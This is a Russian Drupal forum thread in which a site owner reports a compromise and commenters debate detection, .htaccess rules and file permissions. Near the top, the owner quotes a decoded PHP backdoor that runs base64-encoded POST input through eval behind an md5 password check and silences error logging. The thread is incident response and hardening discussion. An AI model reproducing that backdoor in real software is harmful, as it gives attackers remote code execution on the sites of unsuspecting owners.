@eval взлом всех модулей?

Аватар пользователя Rusic Rusic 29 мая 2018 в 0:47

Доброго времени суток.

drupal 7.59
модули все последние, с логах обновлений все зеленое.

Хотел бы уточнить, несколько недель назад решал вопрос с падением сайта, в итоге заменил все фалы модуля recaptcha, обновил ядро и сайт ожил. Однако теперь сайт упал, при там почистив cache сайт поднимается, но грузится крайне медленно, и не только из-за кеша. Посмотрел фалы модулей, и даже корневые файлы, хотя дата изменения их не изменялась, во всех файлах php изначально отключается вывод всех ошибок

error_reporting(0); ini_set('error_log',NULL); ini_set('log_errors',0); ini_set('display_errors','Off');

после выполняется некий php через eval, при том что он по сути я декодировал, проверяет наличие куков

if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); }
if (strpos($_SERVER['REQUEST_URI'], "post_render" ) !== false) { $patchedfv = "GHKASMVG"; }
if( isset( $_REQUEST['fdgdfgvv'] ) ) { if(md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") { $patchedfv = "SDFDFSDF"; } }
if($patchedfv === "GHKASMVG" ) { ob_end_clean(); die; }

Не и после, включается логировние. В чем вопрос, это взлом? Если да, то как выявить дырявый модуль ? Ведь все было нормально. А теперь после 15 минут включается редирект на вирусные сайты, при том разные, пока не вычистишь кеш

ВложениеРазмер
Иконка изображения вот на такой сайт закидывает7.15 КБ

Комментарии

Аватар пользователя Rusic Rusic 29 мая 2018 в 1:06

Нашел ответ:

расшифровка

Все фалы заражены, значит придется все переписывать. Интересно только кто наследил, наверное из-за старой дыры которую я подлатал.

Аватар пользователя gun_dose gun_dose 29 мая 2018 в 14:36

Hacked не видит лишние файлы. А ведь лишний файл можно вызвать по прямой ссылке, и уже не важно, какая версия друпала установлена.

Аватар пользователя Phantom63rus Phantom63rus 29 мая 2018 в 16:07

Да вообще сомнительной нужности модуль. Заражение детектируется с первого взгляда, чистка один хрен тотальная, с перезаписью всех модулей это без вариантов.

Аватар пользователя postgres postgres 29 мая 2018 в 16:20

Smile Сомнительная команда diff операционной системы unix-linux вы хотите сказать, но ведь никто не заставлет ей пользоваться? Не нравится - не пользуйтесь - всех то делов. Зрите сразу как уже привыкли.

Аватар пользователя bumble bumble 29 мая 2018 в 16:31
1

Ээээ... тотально....
А как же проверять всех прошлых разрабов на внесение правок в контриб/ядро??
Такие, к сожалению, существуют.

Аватар пользователя xakd xakd 1 июня 2018 в 11:44

Лишние файлы можно увидеть элементарно и без hacked - на локальной версии конечно. В том же сравнении папок в тотале.
А в остальном Hacked вполне себе удобен - в связке с diff

Аватар пользователя postgres postgres 29 мая 2018 в 14:47

Скрипты вывести по прямой ссылке нельзя... все должно заворачиваться на /index.php
исключение - каталог public - но там запрет на прокрутку скриптов. Вызов скриптов напрямую невозможен за исключением корня сайта, а если возможен - то надо заглянуть в свой .htaccess и проверить настройки своего виртуал хост.
Певое правило должно быть:

# Protect files and directories from prying eyes.
<FilesMatch "\.(engine|inc|info|install|make|module|profile|test|po|sh|.*sql|theme|tpl(\.php)?|xtmpl)(~|\.sw[op]|\.bak|\.orig|\.save)?$|^(\..*|Entries.*|Repository|Root|Tag|Template)$|^#.*#$|\.php(~|\.sw[op]|\.bak|\.orig\.save)$">
  Order allow,deny
</FilesMatch>
Аватар пользователя gun_dose gun_dose 29 мая 2018 в 21:26
1

Это работает только при правильной настройке сервера, то есть не всегда)) однажды я гуглил кусок кода из модуля webform и нашёл в поиске сайт в правительственном домене Филиппин, код которого был полностью проиндексирован))) идеальный бэкап))) после такого я бы не стал так уверенно говорить, что вот прямо нельзя-нельзя вызвать пхп скрипт по прямой ссылке

Аватар пользователя postgres postgres 30 мая 2018 в 15:51

ну и что. в каком то каталоге лежит скрипт php который открывается как текстовый файл, потому что в данном каталоге выполнение скриптов запрещено. ничего страшного кроме загаженного индекса это не несет.

Ну и потом, пришел ты например в магазин покупать салюты домой и тебе там говорят - отличные салюты, абсолютно безопасны при правильной упаковке. Ну и ты - а вы правильно упаковывайте? А тебе продавец: не знаю не знаю... у нас тут из пожаров текучка кадров страшная...
Ну и ты конечно: а, тогда беру!

ну и коли такой офтоп пошел, один знакомый музыкант искренне просто в сердцах возмущается: в чем смысл петь фальшиво?
Вот я тоже: в чем смысл неправильно настраивать сервера?

Аватар пользователя gun_dose gun_dose 30 мая 2018 в 19:57

Ну ок, вкинь любой пхп скрипт в папку любого модуля и вызови напрямую из браузера.

Аватар пользователя postgres postgres 30 мая 2018 в 21:38

Так! Гусары!!!
Какие права должны быть на файлах в папках модулей и в других местах?

У вас там есть права execute на файлах... а зачем?
chmod в помощь Lol

Аватар пользователя postgres postgres 1 июня 2018 в 1:19

Зачем вам права execute на файлы с расширениями module, inc, info? Вы их чем собираетесь выполнять?
Есть только один модуль с присутсвием файла с расширением php, elisa_cron. И там в инструкции написано: скопируйте его в нужное место .

Друпал мозга костей лечится просто. Разверните дистрибутив Друпал и помотрите какие права на файлы в папке /module - и ведь работает!

Аватар пользователя gun_dose gun_dose 1 июня 2018 в 7:04

Так, секунду. Мы ведь говорим о лишних файлах, созданных в результате взлома. Естественно, что они будут создаваться с правами на исполнение. То есть права на файлы здесь вообще ничего не решают. Нужна правильная настройка веб-сервера, чтобы он не пускал вообще никого никуда кроме корня и files, и чтобы не исполнял ничего из files. И отвечая на вопрос выше "зачем сервер настраивать неправильно", хочу отметить, что из коробки любой сервер позволит выполнить что угодно из директории сайта и всех влеженных, т.к. в других движках это может быть необходимо для работы. И вот тут кже с правильной настройкой сервера вряд ли кто-то справится, кроме Бориса.

Аватар пользователя Rusic Rusic 30 мая 2018 в 0:42

Спасибо всем за уделенное время, вроде почистил и базу (кеш) и файлы, ядро перезалил, а сами модули в большинстве чистил руками, чтобы не зацепить настройки сделанные предыдущим администратором сайта. Пока полет нормальный, да и грузится быстрее, из-за того, что не нужно грузить сторонний сайт.

Модуль Hacked не инициализируется,

Полученный код HTTP: 500 Следует отладочная информация. Путь: /batch?id=1741&op=do Текст Состояния: Internal Server Error Текст Ответа:

Аватар пользователя Phantom63rus Phantom63rus 30 мая 2018 в 14:19

В папках с модулями нет настроек, они все в базе.

Ещё либы перезалить (а вот тут аккуратнее, могут быть, к примеры стили superfish menu) и файлопомойку прошерстить на скрипты (их быть не должно).

Аватар пользователя postgres postgres 30 мая 2018 в 15:32

ну это тоже говорит о том, что надо дальше заниматься... не работает интерфейс пакетной обработки судя по ответу, проверьте на чем нибудь другом работу батча с индикацией

Аватар пользователя postgres postgres 1 июня 2018 в 8:40

gun_dose wrote:

Естественно, что они будут создаваться с правами на исполнение.

Как раз наоборот, неестественно совершенно.
Сразу после установки всем служебным директориям даются права r-x r-x r-x а файлам в них r-- r-- r-- и все (извини Борис) Права x на директории означают, что можно получать список файлов них.Даже если взломщик получил от имени сервера возможность выполнить код, он ничего не сможет сделать в этих каталогах... ну кроме как получить список файлов
Откуда берутся права r на файлах - от вредного сoвета устанавливать права командой

chmod -R  755 /sites/all

а надо в два захода, сначала задаем всем каталогам и файлам в ветке права r-x, а потом снимаем с файлов x

chmod -R 500 ./sites/all
find ./sites/all -type f -exec chmod a-x {} \;

Это паранодальный режим, в котором обновление модулей возможно только через консоль и sudo. Избыточность кода тут для наглядности

Аватар пользователя gun_dose gun_dose 1 июня 2018 в 9:13

Если зловред может выполнять код, то он выполнит chmod и все твои рассуждения идут лесом. Как правило, хозяин папок и файлов в директории тот, от чьего имени работает сервер. Конечно, в упомянутом параноидальном режиме такое не прокатит. Но мы говорим об обычных друпал-сайтах, с обычными для друпала правами и настройками. И в данном контексте можно утверждать с вероятностью 99%, что любой вредоносный пхп-файл можно запустить по прямой ссылке. И пока ты игнорируешь такую возможность, опираясь на фрагментарные знания о системном администрировании, с твоих сайтов могут рассылать спам, майнить и атаковать кого-то.

Аватар пользователя postgres postgres 1 июня 2018 в 9:16

Да нет же !!!
Он не может выполнить chmod если он не владелец сайта и файлов в нем.
Это не мои рассуждения - это моя практика

Аватар пользователя gun_dose gun_dose 1 июня 2018 в 10:00

Большой вопрос, как такая настройка скажется на работоспособности сервера. Как правило, владелец всего внутри веб-директории www-data. От его же имени выполняется любой пхп-скрипт. Есть в семёрке вот такая вещь, которая используется очень много где. Кэш js, css, twig-шаблонов и т.д. не будут работать, если пхп-скрипт не может писать в файловую систему.

Аватар пользователя postgres postgres 1 июня 2018 в 14:04

Предлагаю игру - тренировку: я на timeweb создаю на 10 дней учетку с Друпалом (7) и пишу тикеты по настройкам безопасности или прошу их ТП дать конкретные рекомендации, которые я могу выполнить из админки. И сообщаю желающим пароль админки Друпал. Желающие ломают сайт. сообщают о своих удачах. Вместе ищем способы защиты и результаты выкладываем сюда.

Аватар пользователя postgres postgres 1 июня 2018 в 14:20

От всего конечно нет. Как минимум почиканную базу буду иметь, но ее можно восстановить их бэкапа и это 2-3 минуты плюс гемор с потерей изменений

Аватар пользователя postgres postgres 1 июня 2018 в 9:07

но этого недостаточно... если у апача есть права на выполнение команды chmod и chown то конечно он их поменяет. Для предотвращения - апачу должны быть запрещены эти команды либо он не должен владельцем корня сайта и всех его файлов. (тогда то что выше меняет параною на норму chmod -R 755 ./sites/all) К сожалению хостеры испльзуют схему chroot когда апач и юзер - то есть вы - один и тот же юзер. С точки зрения безопасности крайне неудобное сочетание. По этой причине предпочитаю VDS Но и в случае с "обычным хостингом" решается урезанием себя а значит и апача, в правах владельца каталога через тикет в службу ТП или просьбой запретить себе команды chmod. А как же тогда маленькие тесты с кодом? а в другом месте...

Аватар пользователя Semantics Semantics 1 июня 2018 в 10:40

афтар жжот, собственно, апач-то причём? Это не он делает chmod, а интерпретатор.
Есть куча конфигов кроме Apache + mod_php.

Или предлагаете в дикий safe mode всем переходить?

Аватар пользователя postgres postgres 1 июня 2018 в 14:06

А.. ты не в курсе, что все процессы апача выполняются с правами апача? И даже команды интерпретатора будут выполняться от его имени? ну, нет вопросов

Аватар пользователя Semantics Semantics 3 июня 2018 в 21:01

Я в курсе, что кроме денвера под винду существует куча вариантов.
А вы в очередной раз безапелляционно пытаетесь навязать своё мнение

Аватар пользователя Rusic Rusic 3 июня 2018 в 11:55
1

Если внимательно читать, то все давно работает, люди просто обсуждают и спорят )